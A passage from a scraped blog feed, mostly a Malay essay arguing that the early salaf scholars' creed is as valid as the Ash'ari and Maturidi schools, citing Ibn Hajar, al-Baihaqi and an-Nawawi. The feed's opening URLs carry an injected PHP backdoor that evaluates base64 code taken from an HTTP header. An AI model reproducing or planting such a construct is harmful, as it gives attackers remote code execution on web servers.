]]> http://hafizdasar.com/2009/06/18/entahlahbila-bulan-akan-bewarna-biru/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://hafizdasar.com/2009/06/15/kembali-kepada-akidah-rasul-apakah-sekadar-asyari-dan-maturidi/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://hafizdasar.com/2009/06/15/kembali-kepada-akidah-rasul-apakah-sekadar-asyari-dan-maturidi/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 15 Jun 2009 05:59:37 +0000 salman ali http://hafizdasar.com/?p=180

Sesungguhnya hanya orang yang ikhlas membaca karya-karya ulama’ sahaja yang akan berasa tenang dengan mengikut kebenaran , sedangkan para pentaqlid buta yang hanya pandai menyebut nama-nama Imam dan buku-buku mereka padahal tidak pernah mentelaah buku mencari kebenaran , tugas mereka hanyalah mencari kesilapan dan menghina.Pernah sekali beberapa tahun lepas penulis mendengar kuliah yang disampaikan seorang ustaz di masjid kolej Islam berhampiran UIA PJ menyebutkan dalam nada menghina bahawa hanya Ibn Taimiyah dan pengikutnya sahaja yang menyebutkan perkataan “beriman dengan kesemua sifat Allah sepertimana yang layak bagi keagungan Allah (kama yaliqu bijalalihihi)” .Sedangkan apabila diteliti perkataan ulama , hakikatnya perkataan sebegini disandarkan oleh Imam Ibn Hajar dan al-Baihaqi dan ramai imam-Imam yang lain kepada Imam-Imam salaf.Apakah al-Baihaqi dan Ibn Hajar adalah pengikut Ibn Taimiyyah.Bukan untuk mempertahankan atau menghentam ibn Taimiyah tetapi biarlah setiap perkataan ada asasnya. Jangan sampai singa dikata bersisik , ular dikata berjanggut. Bercakaplah dengan ilmu bukan dengan sikap ekstrimis membabi buta.

Ramai yang tertanya-tanya apakah sebenarnya yang dimaksudkan dengan kenyataan kembali kepada akidah Rasul yang terdapat dalam artikel soal jawab akidah yang lepas.. Ada yang mengambil jalan mudah terus mengherdik dengan ucapan akidah RAsul adalah semata-mata dengan kembali kepada pendekatan akidah yang digunakan oleh imam Abu Hasan al-Asyari dan Abu Mansur al- Maturidi. Setiap yang bercanggah dengan akidah asy’ari dan maturidi adalah tertolak dan tidak tepat termasuklah muktazilah , jabariah , qadariah dan salafi. Secara mudah juga boleh kita katakan bahawa kenyataan yang dikeluarkan ini berasas dari pemikiran dan pendedahan terbatas dan singkat terhadap kitab-kitab akidah , tafsir dan syarah hadith klasik seperti as-Asma’ was sifat dan fathul bari.Kenapa penulis memilih kedua-dua kitab ini sebagai contoh , jawapannya kerana kedua-dua pengarang kitab ini Imam al-Baihaqi dan Imam Ibn Hajar al-Asqalani mempunyai keistimewaan sendiri. Imam al-Baihaqi adalah diantara manusia yang paling banyak mengumpulkan nas-nas berkaitan sifat Allah dalam kitabnya al-Asma’ wassifat. Manakala Ibn Hajar pula cenderong kepada madzhab al-Asy’ari tetapi bersifat adil dalam menilai perbezaan pendapat dikalangan ulama’ dalam masalah akidah dan juga fiqh.Kedua-dua mereka melakukan penilaian yang adil dan pertengahan terhadap persoalan akidah.

Pertama sekali dinilai dari sudut sejarah , maka dakwaan bahawa akidah Rasul sebenar adalah akidah asyari ataupun maturidi adalah merupakan dakwaan yang tempang. Akidah muktazilah bermula ketika berlakunya perdebatan diantara pengasasnya Wasil bin Atha dan Hasan alBasri sekirat tahun , 100 hijrah . manakala akidah yang diperjuangkan oleh hasan al-Basri sudah semestinya telah diasaskan trlebih dahulu sebelum dari muktazilah. Imam Abu al-Hasan al-Asy’ari yang mengasaskan akidah asy’ari pula meninggal dunia pada tahun 324. Persoalannya seandainya madzhab asy’ari adalah satu-satunya madzhab yang memperjuangkan akidah Rasul bersama-sama dengan maturidi. Bagaimana pula dengan umat Islam yang hidup sepanjang 300 tahun pertama.Apakah mereka tidak mengikut akidah Rasul.

Sejarah membuktikan bahawan Umat Islam berpegang dengan akidah yang sejah tera tanpa sebarang ancaman kesesatan pada zaman Rasulullah , Abu Bakar dan Umar.Kemudian datangnya fitnah dan kerosakan bersilih ganti bermula dari syiah dan khawarij. Kemudian apabila akidah islam terdedah kepada pemikiran falsafah yunani dan rom , timbul pula madzhab yang menggunakan falsafah untuk mentafsirkan kehendak akidah islam seperti muktazilah. Selepas itu barulah muncul madzhab asy’ari dan maturidi sebagai tindakan react terhadap muktazilah. mereka menggunakan falsafah yang sama dan cuba membuktikan keunggulan akidah Islam. Maka selepas itu apabila kita mendapati beberapa perbezaan pandangan dan khilaf diantara pandangn asy’ari dan ulama sebelum tiga kurun pertama. Adalah jahil untuk menyatakan bahawa Imam asy’ari menyampaikan akidah Rasulullah manakala ulama’ pada tiga kurun pertama dikalangan sahabat , tabi’in dan pengikut merka membawa akidah yang salah. Sedangkan perbezaan pandangn dalam memahami nas sifat Allah bukanlah perkara yang asing. Sedua-dua imam Al-Baihaqi dan Ibn Hajar mengakui terdapat perbezaan pendapat dalam ahli sunnah dalam memahami nas sifat.

Beralih kepada aspek pandangn dan idea sekitar pembentukan madzhab akidah. Mungkin ada yang akan mendakwa bahawa Abu al-Hasan al-Asy’ari sekadar merumuskan dan menyusun semula akidah Rasul tetapi satu hakikat yang tidak dapat dinafikan adalah akidah yang dijadikan pegangan dalam madzhab asy’ari adalah berasakan dari perbahasan panjang menerusi ilmu kalam( falsafah).

Sedangkan Imam Ibn hajar (seorang yang bermadzhab asr’ari dalam akidah) telah menjelaskan pandangan para Imam sebelum dari Imam al-Asy’ari berkenaan dengan masalah ilmu kalam.

“Sesungguhnya ulama salaf sperti Abu Hanifah , Abu Yusuf dan asy-Syafie bertegas dalam membantah perkara ini(ilmu kalam). Dan perkataan mereka dalam membantah ilmu kalam adalah tersebar luas. Sebab bantahan mereka terhadap ilmu kalam adalah ahli kalam bercakap berkenaan perkara yang didiamkan oleh Rasulullah dan para sahabat. Telah sabit perkataan dari Imam Malik bahawa tidak terdapat pada zaman Rasulullah , Abu Bakar dan Umar sedikitpun dari (madzhab) yang mengikut hawa nafsu (seperti bid’ah khawarij , rafidhah dan Qadariah). Dan mereka yang datang selepa dari kurun keempat membahaskan secara teliti perkara yang dibantah oleh para imam dikalangan tabi’in dan pengikut mereka. Mereka(yang datang selepas kurun ketiga) tidak berhenti sekadar itu , bahkan ada diantara mereka yang mencampur adukkan persoalan agama dengan falsafah yunani dan perkatan ahli falsafah ini dijadikan sandaran untuk dirujuk dengan melakukan takwil apabila berlaku percanggahan diantara pandangn mereka dan hadith yang diriwayatkan walaupun mereka terpaksa (mengetepikan dalil). Lebih dari itu , mereka menyatakan pula bahawa ilmu yang mereka susun adalah sebaik-baik ilmu dan yang sepatutnya dipelajari dan sesiapa yang tidak menggunakan ilmu yang mereka susun adalah orang yang jahil. Sedangkan sebenarnya orang yang berbahagia adalah mereka yang berpegang dengan jalan salaf dan meninggalkan apa yang direka cipta oleh khalaf. Sekiranya terpaksa menggunakan ilmu kalam , maka hendaklah menggunakannya sekadar keperluan sahaja.”

(fathul bari ,kitab berpegang teguh dengan kitab dan Sunnah , bab mengikut sunnah Rasulullah)

Penyataan ini jelas menunjukkan penolakan ulama’ salaf di kurun-kurun awal islam terhadap ilmu kalam. Sebab penolakan mereka pula bukan sekadar kerana hasil dari penggunaan ilmu kalam yang menyebabkan tersebarnya ajaran yang menyimpang dari kehendak asal islam. Bahkan lebih dari itu mereka menolak terus menggunakan ilmu kalam sama-ada untuk tujuan baik ataupun buruk. Alasannya adalah ilmu kalam bercakap berkenaan perkara yang didiamkan oleh Rasulullah. Pendidikan akidah oleh Rasulullah yangmenekankan aspek pemahaman bertukar konsep dengan campurtangan ahli kalam. Pada zaman Rasulullah dan Khulafa’ ar-Rashidin , keseluruhan ummah , yang pandai dan jahil , arab dan bukan arab , dewasa dan kanak-kanak memahami kehendak akidah islam . Dengan campurtangan ahli kalam , manusia mempelajari akidah dengan cara menghafaz konsep tanpa memahami kehendak akidah sebenar. kesannya pada hari ini majority umat Islam sekadar meghafaz bilangan sifat wajib dan mustahil bagi Allah sedangkan mereka tidak memahamimya.Adalah tidak logic dan mustahil untuk menyatakan bahawa akidah yang disusun berdasarkan ilmu kalam adalah akidah Rasulullah sedangkan pemahaman dan pelaksanaan terhadap konsep akidah yang ditekankan oleh para sahabat dan murid-murid mereka dianggap menyimpang dari akidah rasul. Apakah terdapat fitnah yang lebih besar dari ini.

Imam Ibn hajar dalam kenyataannya ini juga menisbahkan para imam yang hidup pada tiga kurun pertama hijrah sebagai salaf dan selayaknya untuk diikuti.Maka ini menggambarkan wujudnya aliran dalam akidah yang dinamakan salaf. Mereka terdiri keseluruhan para sahabat , imam keempat-empat madzhab dan selain mereka.

Diantara persoalan utama yang menjadi titik pertikaian diantara salaf dan asy’ari serta maturidi adalah berkenaan tentang bagaimana cara untuk berinteraksi dengan nas-nas sifat pada zat dan perbuatan Allah yang semirip dengan diri dan perbuatan manusia. Sebagai contoh berkaitan dengan sifat turun yang disebutkan oleh Rasulullah.

Dari Abu Hurairah sesungguhnya RAsulullah bersabda : Tuhan kamu turun ke langit dunia setiap malam ketika sepertiga yang akhir lalu berkata “ Sesiapa yang berdoa kepadaKu , maka akan Aku makbulkan , sesiapa yang meminta kepadaKu , akan Aku berikan dan sesiapa yang memohon keampunan dariKu , akan Aku ampunkan dia”.

(Ruwayat Bukhari dan Muslim)

Dalam memahami apakah sebenarnya yang dimaksudkan dengan perkataan turun dalam hadith ini ibn hajar memberikan penjelasan

“Golongan yang menisbahkan sesuatu arah bagi Allah menggunakan dalil ini , iaitu arah ketinggian tetapi majority ulama’ membantah pandangan ini kerana pandangan ini menunjukkan bahawa Allah berhajat kepada tempat.. Ulama’ berbeza pandangan berkenaan makna turun . Diantara mereka ada yang mengikut makna zahir dan hakikatnya[ seperti sifat manusia] dan mereka adalah golongan yang menyamakan Allah dengan makhluk. Diantara ulama’ juga ada yang terus membantah kesahihaan hadith sebegini.Mereka adalah khawarij dan muktazilah . Pelik kerana mereka mentakwilkan nas-nas sifat yang terdapat dalam Quran sedangkan mereka menolak nas-nas yang sama dari hadith sama ada kerana kejahilan ataupun kerana ingin membantah. Diantara ulama’ juga ada yang menerima apa yang diriwayatkan dan beriman dengannya secara umum. Dengan menyucikan Allah dari menyamakanNya dengan makhluk dan menggambarkan sifat Allah , mereka adalah mejoriti ulama’ salaf . Imam al-baihaqi dan selain dari beliau menisbahkan pandangn ini kepada imam keempat-empat madzhab , kedua dua sufyan , kedua-dua hammad, al-Auza’ I al-Laith dan selain dari mereka. Dan dikalangan ulama’ juga ada yang mentakwilkannya berdasarkan kaedah yang biasa digunakan dalm bahasa Arab[madzhab Asy’ari dan maturidi} “

(fathul bari , bab berdoa dalam solat dipenghujung malam)

Dalam ulasan beliau , imam Ibn hajar menyebutkan bahawa terdapat beberapa madzhab dikalangan ulama dalam memahami makna turun. Ulama salaf beriman dengan kesemua sifat Allah dengan jalan yang umum tanpa mengandaikan bentuk sifat Allah dan tanpa menyamakan diantara sifat Allah dan makhluk.Manakala ada juga dikalangan ulama’ yang memilih padndangan lain diantaranya dengan menafikan terus sifat , menyamakan dengan sifat manusia ataupun mentakwilkannya.Dan Imam Ibn Hajar juga menisbahkan Imam keempat-empat madzhab dan beberapa imam lain sebagai salaf. Persoalannya adakah layak bagi seseorang untuk menyatakan bahawa orang yang datang selepas dari para salaf adalah benar-benar mengikuti akidah Rasulullah manakala mejoriti ataupun kesemua ulama salaf tidak mengikut akidah RAsulullah. Ibn hajar juga menaqalkan perkataan dari seorang ulama’ tarsir Ibn Arabi

(fathul bari , bab berdoa dalam solat dipenghujung malam)

“Diceritakan bahawa pengikut bid’ah membantah hadith ini dan salaf menerimanya seperti sedia ada dan satu kelompok lain yang mentakwilkannya dan itu jugalah pandanganku”.

Imam an-Nawawi yang merupakan ulama’ besar dalam madzhab syafie dan condong kepada pandangn yang membenarkan takwil telah menyebutkan

“ Hadith adalah sebahagian dari hadit berkaitan sifat Allah. Terdapat dua madzhab yang masyhur dikalangan ulama’ dalam masalah ini.Secara ringkasnya salah satu adalah madzhab majoriti salaf dan sebahagian dari ahli falsafah iaitu : beriman bahawa sifat-sifat ini adalah benar seperti yang layak bagi Allah . Zahir sifat itu yang diketahui oleh manusia bukanlah maksud yang dikehendaki. Mereka tidak mentakwilannya dan beriktikad bahawa Allah bebas dari sebarang persamaan dengan sifat makhluk. Allah juga bebas dari berubah tempat dan bergerak dan kesemua yang merupakan tanda-tanda makhluk.Kedua , Madzhab mejoriti ahli kalam dan sebahagian dari salaf , pandangan ini dinaqalkan dari Imam malik dan al-Auza’I : sifat-sifat ini ditakwilkan kepada makna yang bertepatan denagn maksud yang dikendaki dan konteks ayat”.

{ Syarah Sahih Muslim , Dab digalakkan berdoa dan berzikir pada akhir malam dan dimakbulkan doa ketika itu)

Imam an-Nawawi yang condong kepada pandangan asy’ari dalam akidah juga masih menyebutkan bahawa terdapat perbezaan pandangn dalam masalah ini dikalangan ulama’.

Imam al-Baihaqi ketika mengulas hadith berkaitan sifat turun Allah menaqalkan perkataan dari Abdullah bin Mubarak dan Abu Sulaiman . Abdullah Bin Mubarak apabila ditanya berkenaan sifat turun Allah , beliau menyatakan

“ Allah turun sebagaimana yang dikehendakinya”.

Manakala Abu Sulaiman pula menyatakan :

Ini adalah sebahagian dari ilmu yang kita diperintahkan untuk beriman dengan zahirnya dan tidak mencari-cari apa yang tersirat. Ini adalah sebahagian dari perkara-perkara yang mutasyabihat {tidak dijelaskan secara terperinci maksud sebenarnya}

Setelah menyebutkan perkataan ini , Imam Al-Baihaqi meletakkan kesimpulan

“ Apa yang disebutkan oleh Abu Sulaiman itu sudah cukup [ untuk memahami nas sifat}”

(Al-Asma’ Wassifat , Bab berkaitan firman Allah dalam al-Baqarah , 210 dan Al-Fajr , 22 , atsar nombor 908)

Mungkin ada beberapa individu yang menyatakan secara ekstrimis bahawa hanya asy’ari dan maturidi sahaja yang betul dalam masalah akidah.Tetapi bandingkanlah cakap siapa yang lebih layak diikuti, Para Imam yang diakui keagungan ilmu mereka seperti al-Baihaqi , Ibn Hajar dan an-Nawawi ataupun sekelompok manusia yang masih diragui sumbangan ilmu mereka terhadap dunia Islam.

Sesungguhnya hanya orang yang ikhlas membaca karya-karya ulama’ sahaja yang akan berasa tenang dengan mengikut kebenaran , sedangkan para pentaqlid buta yang hanya pandai menyebut nama-nama Imam dan buku-buku mereka padahal tidak pernah mentelaah buku mencari kebenaran , tugas mereka hanyalah mencari kesilapan dan menghina.Pernah sekali beberapa tahun lepas penulis mendengar kuliah yang disampaikan seorang ustaz di masjid kolej Islam berhampiran UIA PJ menyebutkan dalam nada menghina bahawa hanya Ibn Taimiyah dan pengikutnya sahaja yang menyebutkan perkataan “beriman dengan kesemua sifat Allah sepertimana yang layak bagi Allah (kama yaliqu bihi)” .Sedangkan apabila diteliti perkataan ulama , hakikatnya perkataan ini disandarkan oleh Imam Ibn Hajar dan al-Baihaqi dan ramai imam-Imam yang lain kepada akidah salaf.Apakah al-Baihaqi dan Ibn Hajar adalah pengikut Ibn Taimiyyah.Bukan untuk mempertahankan atau menghentam ibn Taimiyah tetapi biarlah setiap perkataan ada asasnya. Jangan sampai singa dikata bersisik , ular dikata berjanggut. Bercakaplah dengan ilmu bukan dengan sikap ekstrimis membabi buta.